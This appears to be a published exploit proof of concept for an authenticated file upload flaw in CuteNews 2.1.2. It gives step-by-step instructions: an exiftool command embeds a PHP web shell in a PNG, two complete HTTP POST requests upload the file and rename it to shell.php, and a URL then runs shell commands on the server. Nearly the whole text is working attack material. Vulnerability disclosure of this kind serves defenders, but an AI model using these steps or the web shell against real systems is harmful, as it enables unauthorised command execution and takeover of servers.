CuteNews 2.1.2 Authenticated Shell Upload

`# Exploit Title: CuteNews 2.1.2 - Authenticated Arbitrary File Upload  
# Date: 2020-05-12  
# Author: Vigov5 - SunCSR Team  
# Vendor Homepage: https://cutephp.com  
# Software Link: https://cutephp.com/click.php?cutenews_latest  
# Version: v2.1.2  
# Tested on: Ubuntu 18.04 / Kali Linux  
  
Description:  
------------------------------------------------------------------------  
In the "Media Manager" area, Users with low privileges (Editor) can bypass  
file upload restrictions, resulting in arbitrary command execution.  
  
  
[PoC]  
--------------------------------------------------------------------------------  
  
# Step 1. Create shell $ exiftool -Comment='<?php echo "<pre>";  
system($_GET['cmd']); ?>' shell.png;  
# Step 2. Upload Shell (# Minimum editor privileges)  
  
POST /CuteNews/index.php HTTP/1.1  
Host: [target]  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101  
Firefox/76.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data;  
boundary=---------------------------15868731501112834542363527723  
Content-Length: 3775  
Origin: [target]  
DNT: 1  
Connection: close  
Referer: [target]/CuteNews/index.php  
Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h  
Upgrade-Insecure-Requests: 1  
  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="mod"  
  
media  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="opt"  
  
media  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="folder"  
  
  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="CKEditorFuncNum"  
  
  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="callback"  
  
  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="style"  
  
  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="faddm"  
  
  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="imgopts"  
  
  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="__signature_key"  
  
7ffa4c94a150c20f0c1b51036f6e4597-editor  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="__signature_dsi"  
  
48d87ded04d15407f258c57efa3216e8  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="upload_from_inet"  
  
  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="upload_file[]"; filename="shell.png"  
Content-Type: image/png  
  
[Content Image Here ! ]  
-----------------------------15868731501112834542363527723  
Content-Disposition: form-data; name="upload"  
  
Upload file(s)  
-----------------------------15868731501112834542363527723--  
  
# Step 3. Change filename shell.jpg to shell.php  
  
POST /CuteNews/index.php HTTP/1.1  
Host: [target]  
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:76.0) Gecko/20100101  
Firefox/76.0  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 241  
Origin: [target]  
DNT: 1  
Connection: close  
Referer: http://[target]CuteNews/index.php  
Cookie: CUTENEWS_SESSION=k4rgekaj68tr9ln8j0jlme7e7h  
Upgrade-Insecure-Requests: 1  
  
mod=media&opt=media&folder=&CKEditorFuncNum=&callback=&style=&faddm=&imgopts=&__signature_key=ebdaf403dcda492fabe8f1d96399b16b-editor&__signature_dsi=27a9035f2b130dd1477ad2a37a5721da&pending=rename&ids%5B0%5D=shell.png&place%5B0%5D=shell.php  
  
# Step 4. Execute the command with the path : http://  
[target]/CuteNews/uploads/shell.php?cmd=id  
`